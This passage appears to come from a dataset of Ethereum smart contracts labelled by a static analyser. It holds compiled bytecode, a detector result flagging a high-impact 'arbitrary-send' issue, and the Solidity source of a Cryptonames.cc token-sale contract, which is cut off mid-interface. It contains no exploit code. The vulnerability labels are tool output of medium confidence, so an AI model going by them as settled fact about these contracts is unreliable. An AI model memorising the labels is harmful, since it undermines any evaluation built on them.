} | 0x6060604052600436106101a85763ffffffff60e060020a60003504166307da68f581146101b85780632287e96a146101df578063233ac008146101f2578063338b5dea146102295780633823d66c1461024d578063429b62e5146102635780634b0bddd214610282578063560b3cba146102a65780636edb9ab0146102c85780637420a0ec1461036557806374cf6f491461038a5780637955a65f146103ac5780638baeefce1461041c5780638da5cb5b1461042f57806392e33d141461045e57806396cf522714610476578063978bbdb91461048c5780639e47b4b61461049f578063a4de3c19146104be578063a537b716146104e2578063aa22678014610504578063add37100146105ee578063affca9321461062f578063b40f035214610645578063b67590aa146106a2578063bcfe070f146108f5578063be1ef5c114610984578063d0e30db0146109a9578063da141bd5146109b1578063dc3ef126146109d6578063e2e71f93146109fb578063f213159c14610a1a578063f2eaee0214610a42578063f2fde38b14610a55578063f3fef3a314610a74578063f7888aec14610a96575b34156101b357600080fd5b600080fd5b34156101c357600080fd5b6101cb610abb565b604051901515815260200160405180910390f35b34156101ea57600080fd5b6101cb610ac9565b34156101fd57600080fd5b610217600160a060020a0360043581169060243516610ad2565b60405190815260200160405180910390f35b341561023457600080fd5b61024b600160a060020a0360043516602435610aef565b005b341561025857600080fd5b6101cb600435610c53565b341561026e57600080fd5b6101cb600160a060020a0360043516610c68565b341561028d57600080fd5b61024b600160a060020a03600435166024351515610c7d565b34156102b157600080fd5b610217600160a060020a0360043516602435610cd8565b34156102d357600080fd5b61024b60048035600160a060020a031690604460248035908101908301358060208082020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610cf595505050505050565b341561037057600080fd5b610217600160a060020a0360043581169060243516610d65565b341561039557600080fd5b61024b600160a060020a0360043516602435610d82565b34156103b757600080fd5b61024b6004606481600360606040519081016040529190828260608082843782019150505050509190806060019060038060200260405190810160405291908282606080828437509395505050823560ff169260208101359250604001359050610f4d565b341561042757600080fd5b61024b611340565b341561043a57600080fd5b61044261136c565b604051600160a060020a03909116815260200160405180910390f35b341561046957600080fd5b61024b600435151561137b565b341561048157600080fd5b61024b6004356113a9565b341561049757600080fd5b6102176113d9565b34156104aa57600080fd5b610217600160a060020a03600435166113df565b34156104c957600080fd5b61024b600160a060020a036004351660243515156113f1565b34156104ed57600080fd5b61024b600160a060020a036004351660243561144c565b341561050f57600080fd5b61024b600461016481600b610160604051908101604052919082826101608082843782019150505050509190806101600190600b8060200260405190810160405291908282610160808284378201915050505050919080604001906002806020026040519081016040528092919082600260200280828437820191505050505091908060400190600280602002604051908101604052809291908260026020028082843782019150505050509190806040019060028060200260405190810160405280929190826002602002808284375093955061155c945050505050565b34156105f957600080fd5b610217600160a060020a03600435811690602435906044358116906064359060843581169060a4359060c4359060e43516611b2b565b341561063a57600080fd5b61024b600435611bb0565b341561065057600080fd5b61024b60048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650611bde95505050505050565b34156106ad57600080fd5b61024b60046024813581810190830135806020818102016040519081016040528181529291906000602085015b8282101561071857610160808302860190600b90604051908101604052919082826101608082843750505091835250506001909101906020016106da565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b8282101561078b57610160808302860190600b906040519081016040529190828261016080828437505050918352505060019091019060200161074d565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b828210156107ff5760408083028601906002908051908101604052809291908260026020028082843750505091835250506001909101906020016107c0565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b82821015610873576040808302860190600290805190810160405280929190826002602002808284375050509183525050600190910190602001610834565b505050505091908035906020019082018035906020019080806020026020016040519081016040528181529291906000602085015b828210156108e75760408083028601906002908051908101604052809291908260026020028082843750505091835250506001909101906020016108a8565b505050505091905050611dc4565b341561090057600080fd5b61024b600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650611e7e95505050505050565b341561098f57600080fd5b61024b600160a060020a0360043581169060243516611f73565b61024b61203a565b34156109bc57600080fd5b610217600160a060020a03600435811690602435166120f6565b34156109e157600080fd5b610217600160a060020a0360043581169060243516612113565b3415610a0657600080fd5b6101cb600160a060020a0360043516612130565b3415610a2557600080fd5b61024b600160a060020a0360043581169060243516604435612145565b3415610a4d57600080fd5b6102176122c0565b3415610a6057600080fd5b61024b600160a060020a03600435166122c6565b3415610a7f57600080fd5b61024b600160a060020a0360043516602435612361565b3415610aa157600080fd5b610217600160a060020a03600435811690602435166125e5565b600c54610100900460ff1681565b600c5460ff1681565b600660209081526000928352604080842090915290825290205481565b600160a060020a0382161515610b0457600080fd5b600160a060020a0380831660009081526003602090815260408083203390941683529290522054610b359082612610565b600160a060020a0380841660008181526003602090815260408083203395861684529091528082209490945590926323b872dd92913091869190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515610bc357600080fd5b6102c65a03f11515610bd457600080fd5b505050604051805190501515610be957600080fd5b600160a060020a038281166000818152600360209081526040808320339095168084529490915290819020547fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7918591905191825260208201526040908101905180910390a35050565b60056020526000908152604090205460ff1681565b60016020526000908152604090205460ff1681565b60005433600160a060020a03908116911614610c9857600080fd5b600160a060020a0382161515610cad57600080fd5b600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b600460209081526000928352604080842090915290825290205481565b600081518351148015610d0a575060c8835111155b1515610d1557600080fd5b5060005b8251811015610d5f57610d5784848381518110610d3257fe5b90602001906020020151848481518110610d4857fe5b90602001906020020151612145565b600101610d19565b50505050565b600860209081526000928352604080842090915290825290205481565b600c5460ff161515610d9357600080fd5b600160a060020a0380831660009081526003602090815260408083203390941683529290522054811115610dc657600080fd5b600160a060020a0380831660009081526003602090815260408083203390941683529290522054610df79082612626565b600160a060020a03808416600081815260036020908152604080832033909516835293905291909120919091551515610e6057600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610e5b57600080fd5b610ee3565b81600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610ebd57600080fd5b6102c65a03f11515610ece57600080fd5b505050604051805190501515610ee357600080fd5b600160a060020a038281166000818152600360209081526040808320339095168084529490915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567918591905191825260208201526040908101905180910390a35050565b600160a060020a03331660009081526001602052604081205481908190819081908190819060ff161515610f8057600080fd5b60408c0151600160a060020a03811660009081526002602052604090205460ff161515610fac57600080fd5b8c51975060208d0151965060408d015195508b51945060208c0151935060408c0151600160a060020a038089166000908152600360209081526040808320938d168352929052205490935085111561100357600080fd5b61100d8584612638565b925030888887876040516c01000000000000000000000000600160a060020a039687168102825294861685026014820152929094169092026028820152603c810191909152605c810191909152607c0160405190819003902060008181526005602052604090205490925060ff161561108557600080fd5b60008281526005602052604090819020805460ff19166001908117909155600160a060020a038a16918490517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208d8d8d6040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f1151561114957600080fd5b505060206040510351600160a060020a03161461116557600080fd5b600160a060020a038088166000908152600360209081526040808320938c16835292905220546111959086612626565b600160a060020a0388811660009081526003602090815260408083208d8516845290915280822093909355908816815220546111d19084612610565b600160a060020a038089166000908152600360209081526040808320938b16835292905220556112018584612626565b9450600160a060020a038716151561124957600160a060020a03881685156108fc0286604051600060405180830381858888f19350505050151561124457600080fd5b6112cc565b86600160a060020a031663a9059cbb898760006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156112a657600080fd5b6102c65a03f115156112b757600080fd5b5050506040518051905015156112cc57600080fd5b600160a060020a038781166000818152600360209081526040808320948d168084529490915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567918991905191825260208201526040908101905180910390a350505050505050505050505050565b60005433600160a060020a0390811691161461135b57600080fd5b600c805461ff001916610100179055565b600054600160a060020a031681565b60005433600160a060020a0390811691161461139657600080fd5b600c805460ff1916911515919091179055565b60005433600160a060020a039081169116146113c457600080fd5b62093a808111156113d457600080fd5b600a55565b600b5481565b60096020526000908152604090205481565b60005433600160a060020a0390811691161461140c57600080fd5b600160a060020a038216151561142157600080fd5b600160a060020a03919091166000908152600260205260409020805460ff1916911515919091179055565b600160a060020a0380831660009081526007602090815260408083203390941683529290529081205461147f9083612610565b600160a060020a0380851660008181526003602090815260408083203390951680845294825280832054938352600682528083209483529390529190912054919250906114cd908390612610565b11156114d857600080fd5b600160a060020a03808416600081815260076020908152604080832033909516808452948252808320869055838352600882528083208584529091529081902042908190557f9279426ccdba165d0a4e2dadd069b13c58656379fa8a37530455ae6539ca8f28918691905191825260208201526040908101905180910390a3505050565b611564613027565b61156c613027565b600160a060020a03331660009081526001602052604081205460ff16151561159357600080fd5b610140880151600160a060020a03811660009081526002602052604090205460ff1615156115c057600080fd5b600c54610100900460ff16156115d557600080fd5b610160604051908101604052808a51600160a060020a0316815260200160408b0151600160a060020a031681526020018951815260200160408a0151815260200160808b0151600160a060020a0316815260200160808a0151815260200160c08a015181526020016101008a015181526000602082015260400160c08b0151600160a060020a031681526020016101008b0151600160a060020a0316905293506101606040519081016040528060208b0151600160a060020a0316815260200160608b0151600160a060020a031681526020018960016020020151815260200160608a0151815260200160a08b0151600160a060020a0316815260200160a08a0151815260200160e08a015181526020016101208a015181526000602082015260400160e08b0151600160a060020a031681526020016101208b0151600160a060020a0316905292506101408801519150438460c001511015801561173e5750438360c0015110155b151561174957600080fd5b600960008560800151600160a060020a0316600160a060020a03168152602001908152602001600020548460e00151101580156117b35750600960008460800151600160a060020a0316600160a060020a03168152602001908152602001600020548360e0015110155b15156117be57600080fd5b826101200151600160a060020a0316846101200151600160a060020a03161480156117ff57508260200151600160a060020a03168451600160a060020a0316145b801561182157508251600160a060020a03168460200151600160a060020a0316145b151561182c57600080fd5b8251600160a060020a0316836101200151600160a060020a0316148061186c57508260200151600160a060020a0316836101200151600160a060020a0316145b151561187757600080fd5b6118a684518560400151866020015187606001518861012001518960c001518a60e001518b6101400151611b2b565b6101008501526118db83518460400151856020015186606001518761012001518860c001518960e001518a6101400151611b2b565b6101008401526080840151600160a060020a031660018561010001516040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c016040519081900390208951895189516040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f1151561199657600080fd5b505060206040510351600160a060020a0316146119b257600080fd5b8260800151600160a060020a031660018461010001516040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405190819003902060208a015160208a015160208a01516040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f11515611a7057600080fd5b505060206040510351600160a060020a031614611a8c57600080fd5b611a9d84846101408c015185612667565b8260800151600160a060020a03168460800151600160a060020a03167f01f5d7c359dba416997ea6c723ea4663e9ad524f956ed8bb3b5234e6475a7285848760a001518760a001518960e001518960e00151604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3505050505050505050565b60003089898989898989896040516c01000000000000000000000000600160a060020a039a8b1681028252988a1689026014820152602881019790975294881687026048870152605c8601939093529086168502607c850152609084015260b08301529092160260d082015260e4016040518091039020905098975050505050505050565b60005433600160a060020a03908116911614611bcb57600080fd5b600a811015611bd957600080fd5b600b55565b600160a060020a0333166000908152600160205260408120548190819060ff161515611c0957600080fd5b600092505b8351831015611dbd57838381518110611c2357fe5b90602001906020020151600160a060020a038082166000908152600360209081526040808320938a16835292905290812054919350909150811115611db257600160a060020a038083166000818152600360209081526040808320948a168352939052918220919091551515611cc957600160a060020a03851681156108fc0282604051600060405180830381858888f193505050501515611cc457600080fd5b611d4c565b81600160a060020a031663a9059cbb868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611d2657600080fd5b6102c65a03f11515611d3757600080fd5b505050604051805190501515611d4c57600080fd5b600160a060020a038281166000818152600360209081526040808320948a168084529490915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567918591905191825260208201526040908101905180910390a35b600190920191611c0e565b5050505050565b600160a060020a03331660009081526001602052604081205460ff161515611deb57600080fd5b5060005b8551811015611e7657611e6e868281518110611e0757fe5b90602001906020020151868381518110611e1d57fe5b90602001906020020151868481518110611e3357fe5b90602001906020020151868581518110611e4957fe5b90602001906020020151868681518110611e5f57fe5b9060200190602002015161155c565b600101611def565b505050505050565b600160a060020a03331660009081526001602052604081205460ff161515611ea557600080fd5b8151835114611eb357600080fd5b5060005b8251811015611f6e5760096000848381518110611ed057fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054828281518110611f0757fe5b906020019060200201511015611f1c57600080fd5b818181518110611f2857fe5b9060200190602002015160096000858481518110611f4257fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055600101611eb7565b505050565b600160a060020a03331660009081526001602052604090205460ff161515611f9a57600080fd5b600160a060020a03808316600081815260066020908152604080832094861680845294825280832054938352600782528083209483529390529190912054611fe29190612610565b600160a060020a03928316600081815260066020908152604080832095909616808352948152858220939093558181526007835284812084825283528481208190559081526008825283812092815291905290812055565b33600160a060020a031660009081527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff602052604090205461207c9034612610565b600160a060020a03331660008181527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff6020526040808220849055919290917fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79134915191825260208201526040908101905180910390a3565b600760209081526000928352604080842090915290825290205481565b600360209081526000928352604080842090915290825290205481565b60026020526000908152604090205460ff1681565b600160a060020a038316158015906121655750600160a060020a03821615155b151561217057600080fd5b600160a060020a038084166000908152600360209081526040808320938616835292905220546121a09082612610565b600160a060020a038085166000818152600360209081526040808320948816835293905282812093909355916323b872dd9133913091869190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561222d57600080fd5b6102c65a03f1151561223e57600080fd5b50505060405180519050151561225357600080fd5b600160a060020a038381166000818152600360209081526040808320858816808552925291829020549093331692917fbb4c1ad7429e95f013be0d74b97dfe0307ecb8f3072c5684d1bdab6ce0132ab19186915191825260208201526040908101905180910390a4505050565b600a5481565b60005433600160a060020a039081169116146122e157600080fd5b600160a060020a03811615156122f657600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a038083166000908152600360209081526040808320339094168352929052205481111561239457600080fd5b600160a060020a03808316600090815260066020908152604080832033909416835292905220548111156124bf57600160a060020a0380831660009081526008602090815260408083203390941683529290522054158015906124295750600a54600160a060020a0380841660009081526008602090815260408083203390941683529290522054612427904290612626565b115b151561243457600080fd5b600160a060020a038083166000818152600660209081526040808320339095168084529482528083205493835260078252808320948352939052919091205461247d9190612610565b600160a060020a038084166000818152600660209081526040808320339095168084529482528083209590955591815260078252838120928152919052908120555b600160a060020a03808316600090815260066020908152604080832033909416835292905220548111156124f257600080fd5b600160a060020a03808316600090815260066020908152604080832033909416835292905220546125239082612626565b600160a060020a038084166000818152600660209081526040808320339095168084529482528083209590955591815260038252838120928152919052205461256c9082612626565b600160a060020a03808416600081815260036020908152604080832033909516808452948252808320959095558282526008815284822093825292909252918120551515610e6057600160a060020a03331681156108fc0282604051600060405180830381858888f193505050501515610e5b57600080fd5b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60008282018381101561261f57fe5b9392505050565b60008183101561263257fe5b50900390565b6000808290508361264b84600b54612dbb565b111561261f57600b548481151561265e57fe5b04949350505050565b6000806000806000806126828a604001518a60400151612dbb565b6126948b606001518b60600151612dbb565b101561269f57600080fd5b600095508594508851600160a060020a0316896101200151600160a060020a031614156128d5576127158a60400151600460008d60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008d61010001518152602081019190915260400160002054612626565b93506127668960600151600460008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008c61010001518152602081019190915260400160002054612626565b92506000871180156127785750838711155b80156127845750828711155b151561278f57600080fd5b86945089604001516127a58b6060015187612dbb565b8115156127ae57fe5b0495506127fc600460008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008b6101000151815260208101919091526040016000205486612610565b600460008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008b61010001518152602081019190915260400160009081209190915561288e9060049060808d0151600160a060020a0316600160a060020a0316815260200190815260200160002060008c6101000151815260208101919091526040016000205486612610565b600460008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008c61010001518152602081019190915260400160002055612ae0565b6129248960400151600460008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008c61010001518152602081019190915260400160002054612626565b92506129758a60600151600460008d60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008d61010001518152602081019190915260400160002054612626565b93506000871180156129875750838711155b80156129935750828711155b151561299e57600080fd5b86955089606001516129b48b6040015188612dbb565b8115156129bd57fe5b049450612a0b600460008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008b6101000151815260208101919091526040016000205487612610565b600460008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008b610100015181526020810191909152604001600090812091909155612a9d9060049060808d0151600160a060020a0316600160a060020a0316815260200190815260200160002060008c6101000151815260208101919091526040016000205487612610565b600460008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002060008c610100015181526020810191909152604001600020555b612aeb8a8987612ddf565b9150612af8898988612ddf565b9050612b54600360008b60200151600160a060020a0316600160a060020a0316815260200190815260200160002060008b60800151600160a060020a0316600160a060020a031681526020019081526020016000205486612626565b600360008b60200151600160a060020a0316600160a060020a0316815260200190815260200160002060008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612c0b600360008b60000151600160a060020a0316600160a060020a0316815260200190815260200160002060008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002054612c068884612626565b612610565b600360008b51600160a060020a0316600160a060020a0316815260200190815260200160002060008b60800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612cb6600360008c60200151600160a060020a0316600160a060020a0316815260200190815260200160002060008c60800151600160a060020a0316600160a060020a031681526020019081526020016000205487612626565b600360008c60200151600160a060020a0316600160a060020a0316815260200190815260200160002060008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612d68600360008c60000151600160a060020a0316600160a060020a0316815260200190815260200160002060008c60800151600160a060020a0316600160a060020a0316815260200190815260200160002054612c068785612626565b600360008c51600160a060020a0316600160a060020a0316815260200190815260200160002060008c60800151600160a060020a0316815260208101919091526040016000205550505050505050505050565b6000828202831580612dd75750828482811515612dd457fe5b04145b151561261f57fe5b600080610140850151600160a060020a031615612f995760036000866101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008660800151600160a060020a0316600160a060020a03168152602001908152602001600020548560a001511115612e5857600080fd5b612e9960036000876101400151600160a060020a039081168252602080830193909352604091820160009081209189168152925290205460a0870151612610565b60036000876101400151600160a060020a0316600160a060020a03168152602001908152602001600020600086600160a060020a0316600160a060020a0316815260200190815260200160002081905550612f4960036000876101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008760800151600160a060020a0316600160a060020a03168152602001908152602001600020548660a00151612626565b60036000876101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008760800151600160a060020a0316815260208101919091526040016000205561301f565b612fa7838660a00151612638565b60a08601908152519050612fee600360008751600160a060020a039081168252602080830193909352604091820160009081209189168152925290205460a0870151612610565b600360008751600160a060020a03908116825260208083019390935260409182016000908120918916815292529020555b949350505050565b6101606040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e0820181905261010082018190526101208201819052610140820152905600a165627a7a72305820687e00ffffe31a532eaba5d411a176564461e7c6b691f0b1a9e17d7d1542a7230029 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 914 |
0xaf1119ac13da83961883773f715e58d43e2aae07 | pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ItemToken {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
IItemRegistry private itemRegistry;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.02 ether;
uint256 private increaseLimit2 = 0.5 ether;
uint256 private increaseLimit3 = 2.0 ether;
uint256 private increaseLimit4 = 5.0 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private startingPriceOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
function ItemToken () public {
owner = msg.sender;
admins[owner] = true;
}
/* Modifiers */
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/* Owner */
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function setItemRegistry (address _itemRegistry) onlyOwner() public {
itemRegistry = IItemRegistry(_itemRegistry);
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
/* Withdraw */
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
/* Listing */
function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public {
for (uint256 i = 0; i < _itemIds.length; i++) {
if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) {
continue;
}
listItemFromRegistry(_itemIds[i]);
}
}
function listItemFromRegistry (uint256 _itemId) onlyOwner() public {
require(itemRegistry != address(0));
require(itemRegistry.ownerOf(_itemId) != address(0));
require(itemRegistry.priceOf(_itemId) > 0);
uint256 price = itemRegistry.priceOf(_itemId);
address itemOwner = itemRegistry.ownerOf(_itemId);
listItem(_itemId, price, itemOwner);
}
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
/* Buying */
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
/*
Buy a estate directly from the contract for the calculated price
which ensures that the owner gets a profit. All Estates that
have been listed can be bought by this method. User funds are sent
directly to the previous owner and are never stored in the contract.
*/
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
/* ERC721 */
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "Cryptonames.cc";
}
function symbol() public pure returns (string _symbol) {
return "CNS";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
/* Read */
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
}
interface IItemRegistry {
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items);
function ownerOf (uint256 _itemId) public view returns (address _owner);
function priceOf (uint256 _itemId) public view returns (uint256 _price);
